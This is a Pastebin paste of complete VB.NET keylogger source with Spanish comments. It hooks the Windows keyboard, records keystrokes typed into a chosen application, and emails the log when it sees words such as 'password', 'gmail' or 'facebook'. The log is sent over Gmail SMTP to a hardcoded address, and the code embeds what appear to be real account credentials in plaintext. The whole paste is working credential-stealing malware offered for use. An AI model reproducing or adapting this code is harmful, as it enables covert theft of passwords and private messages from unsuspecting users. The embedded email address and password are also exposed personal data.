Advertisement
Guest User

Untitled

a guest
May 10th, 2017
601
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 9.15 KB | None | 0 0
  1. Imports System.Runtime.InteropServices
  2. Imports System.Net.Mail
  3.  
  4. Public Class Form1
  5.  
  6. #Region "Declaración de APIs"
  7.     <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
  8.      Private Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As LowLevelKeyboardProc, ByVal hMod As IntPtr, ByVal dwThreadId As UInteger) As IntPtr
  9.     End Function
  10.  
  11.     <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
  12.          Private Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
  13.     End Function
  14.  
  15.     <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
  16.          Private Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
  17.     End Function
  18.  
  19.     <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
  20.          Private Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
  21.     End Function
  22.  
  23.     <DllImport("user32.dll", SetLastError:=True)> _
  24.     Private Shared Function GetForegroundWindow() As IntPtr
  25.     End Function
  26. #End Region
  27.  
  28. #Region "Variables"
  29.     Private Const WH_KEYBOARD_LL As Integer = 13
  30.     Private Const WM_KEYDOWN As Integer = &H100
  31.     Private Const WM_KEYUP As Integer = &H101
  32.  
  33.     Private Shared _proc As New LowLevelKeyboardProc(AddressOf HookCallback) 'Ete aqui nuestro Hook
  34.     Private Shared _hookID As IntPtr = IntPtr.Zero 'Puntero a nuestro Hook
  35.  
  36.     Private Shared arrVKCodes As ArrayList 'Array List donde se almacenan las teclas "hookeadas"
  37.  
  38.     'Si en el texto "hookeado" exsiten alguna de las siguientes palabras, se enviará un email con todo
  39.     'el texto hookeado:
  40.     Private Shared PALABRAS_MAGICAS As String() = {"password", "contraseña", "yahoo", _
  41.                                                     "gmail", "hotmail", "msn", _
  42.                                                     "messenger", "ebay", "tuenti", _
  43.                                                     "facebook", "meristation", "forocoches"}
  44.  
  45.     'Timer que mira si la aplicación está abierta y si además tiene el foco activo
  46.     Private WithEvents mTMRfocusAPP As New Timer
  47.  
  48.     Private Shared boolAPPHasFocus As Boolean = False
  49.     Private Shared boolAPPRunning As Boolean = False
  50.  
  51.     'nombre de la clase a la que vamos a "hookear" las teclas
  52.     'Este nombre se puede averiguar con el Spy++ del Visual Studio
  53.     Private Const APP_CLASS_NAME As String = "notepad"
  54. #End Region
  55.  
  56. #Region "Hook del teclado"
  57.     'Delegado para realizar nuestro "Hook"
  58.     Private Delegate Function LowLevelKeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
  59.  
  60.     'Inicializar Hook
  61.     Private Shared Function SetHook(ByVal proc As LowLevelKeyboardProc) As IntPtr
  62.         Using curProcess As Process = Process.GetCurrentProcess()
  63.             Using curModule As ProcessModule = curProcess.MainModule
  64.                 Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)
  65.             End Using
  66.         End Using
  67.     End Function
  68.  
  69.     '¿Que es lo que hacemos dentro de nuestro Hook del teclado?
  70.     'Cada vez que se pulsa una tecla vamos guardando el valor de la tecla pulsada en un arraylist
  71.     'Nota: El código siempre respresenta una tecla en mayuscula, por eso el log se ve en "mayusculas"
  72.     'Este "hook" en particular no sabe distinguir entre si se ha pulsado la tecla "p" o la tecla "P"
  73.     'Para él siempre será la tecla "P"
  74.  
  75.     Private Shared Function HookCallback(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
  76.  
  77.         If nCode >= 0 AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
  78.             Dim vkCode As Integer = Marshal.ReadInt32(lParam)
  79.             Try
  80.                 'solo se "hookean" las teclas cuando la aplicación en cuestion tiene el foco
  81.                 If boolAPPHasFocus Then
  82.                     arrVKCodes.Add(CType(vkCode, Byte))
  83.                     'se añade un Line Feed (<LF>, 0x0Ah, 10) cuando se detecta un Carry Return (<CR>, 0x0Dh, 13)
  84.                     If CType(vkCode, Byte) = 13 Then
  85.                         arrVKCodes.Add(CType(10, Byte))
  86.                     End If
  87.                 End If
  88.  
  89.             Catch ex As Exception
  90.  
  91.             End Try
  92.         End If
  93.  
  94.         Return CallNextHookEx(_hookID, nCode, wParam, lParam)
  95.  
  96.     End Function
  97. #End Region
  98.  
  99. #Region "E-mail"
  100.     Private Shared Sub EnviarEmail()
  101.  
  102.         'Se crea un fichero "temporal" con todo el texto que se ha "hookeado"
  103.         Dim arrBytes As Byte() = arrVKCodes.ToArray(GetType(Byte))
  104.         Dim strText = System.Text.ASCIIEncoding.ASCII.GetString(arrBytes)
  105.         Dim sFileAttach As String = CarpetaTEMP_Windows() & "Pandora.log"
  106.  
  107.         If IO.File.Exists(sFileAttach) Then IO.File.Delete(sFileAttach)
  108.  
  109.         Dim objEscritor = New IO.StreamWriter(sFileAttach, True, System.Text.Encoding.Default)
  110.         objEscritor.Write(strText)
  111.         objEscritor.Flush()
  112.         objEscritor.Close()
  113.  
  114.         'Envío de un correo electrónico con un archivo adjunto:
  115.         Dim msg As New MailMessage
  116.         'A quien queremos enviar el e-mail (Destinatario)
  117.         msg.To.Add("kikos_es@yahoo.es")
  118.         'msg.To.Add("podemos.añadir.mas.direcciones.adicionales@dominio.com")
  119.  
  120.         'Remitente del correo:
  121.         msg.From = New MailAddress("username@gmail.com", "nickname", System.Text.Encoding.UTF8)
  122.         'Titulo del correo:
  123.         msg.Subject = "Envio de log de Pandora"
  124.         msg.SubjectEncoding = System.Text.Encoding.UTF8
  125.         'Mensaje del correo:
  126.         msg.Body = "Podemos poner lo que querramos en cuerpo del mensaje"
  127.         msg.BodyEncoding = System.Text.Encoding.UTF8
  128.         msg.IsBodyHtml = False
  129.         'Prioridad:
  130.         msg.Priority = MailPriority.High
  131.  
  132.         'Cliente SMTP de correo. En este caso los datos del Port y del Host son para el correo
  133.         'de Gmail:
  134.         Dim client As New SmtpClient()
  135.         'Network Credentials para Gmail
  136.         client.Credentials = New System.Net.NetworkCredential("ollydbg.win32@gmail.com", "banditGSF600s")
  137.         client.Port = 587
  138.         client.Host = "smtp.gmail.com"
  139.         client.EnableSsl = True
  140.  
  141.         'añadimos como attach el fichero con el texto "hookeado"
  142.         Dim data As New Attachment(sFileAttach)
  143.         msg.Attachments.Add(data)
  144.  
  145.         Try
  146.             'enviar el correo
  147.             client.Send(msg)
  148.         Catch ex As System.Exception
  149.  
  150.         Finally
  151.             data.Dispose()
  152.         End Try
  153.  
  154.     End Sub
  155. #End Region
  156.  
  157. #Region "Miscelanea"
  158.     Private Shared Function HayPalabraMagica() As Boolean
  159.         Dim arrBytes As Byte() = arrVKCodes.ToArray(GetType(Byte))
  160.         Dim strText = System.Text.ASCIIEncoding.ASCII.GetString(arrBytes)
  161.         Dim bExiste As Boolean = False
  162.         strText = strText.ToLower
  163.         For i As Integer = 0 To PALABRAS_MAGICAS.Length - 1
  164.             If strText.Contains(PALABRAS_MAGICAS(i).ToLower) Then
  165.                 bExiste = True
  166.                 Exit For
  167.             End If
  168.         Next
  169.         Return bExiste
  170.     End Function
  171.  
  172.     Shared Function CarpetaTEMP_Windows() As String
  173.         Dim s As String
  174.         s = IO.Path.GetTempPath
  175.         If s.EndsWith("\") = False Then s &= "\"
  176.         Return s
  177.     End Function
  178. #End Region
  179.  
  180. #Region "Timer"
  181.     Private Sub mTMRfocusAPP_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles mTMRfocusAPP.Tick
  182.         Try
  183.             Dim psWindows() As Process
  184.             Dim activeWindowHandle As IntPtr = GetForegroundWindow() 'IntPtr.Zero
  185.             psWindows = Process.GetProcesses
  186.  
  187.             boolAPPRunning = False
  188.             boolAPPHasFocus = False
  189.  
  190.             For i As Integer = 0 To psWindows.Length - 1
  191.                 If psWindows(i).MainWindowHandle = activeWindowHandle Then
  192.                     'Debug.Print(psWindows(i).ProcessName.ToLower)
  193.                     If psWindows(i).ProcessName.ToLower = APP_CLASS_NAME.ToLower Then
  194.                         boolAPPHasFocus = True
  195.                         boolAPPRunning = True
  196.                         Exit For
  197.                     End If
  198.                 End If
  199.                 If psWindows(i).ProcessName.ToLower = APP_CLASS_NAME.ToLower Then
  200.                     boolAPPRunning = True
  201.                 End If
  202.             Next
  203.  
  204.             If boolAPPRunning = False And arrVKCodes.Count > 0 Then
  205.                 If HayPalabraMagica() Then
  206.                     EnviarEmail()
  207.                 End If
  208.                 arrVKCodes = New ArrayList
  209.             End If
  210.         Catch ex As System.Exception
  211.  
  212.         End Try
  213.     End Sub
  214. #End Region
  215.  
  216. #Region "Eventos a nivel de Form: Load() y FormClosing()"
  217.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  218.         mTMRfocusAPP.Interval = 250
  219.         mTMRfocusAPP.Enabled = True
  220.  
  221.         arrVKCodes = New ArrayList
  222.  
  223.         _hookID = SetHook(_proc)
  224.     End Sub
  225.  
  226.     Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  227.         UnhookWindowsHookEx(_hookID)
  228.     End Sub
  229. #End Region
  230.  
  231. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement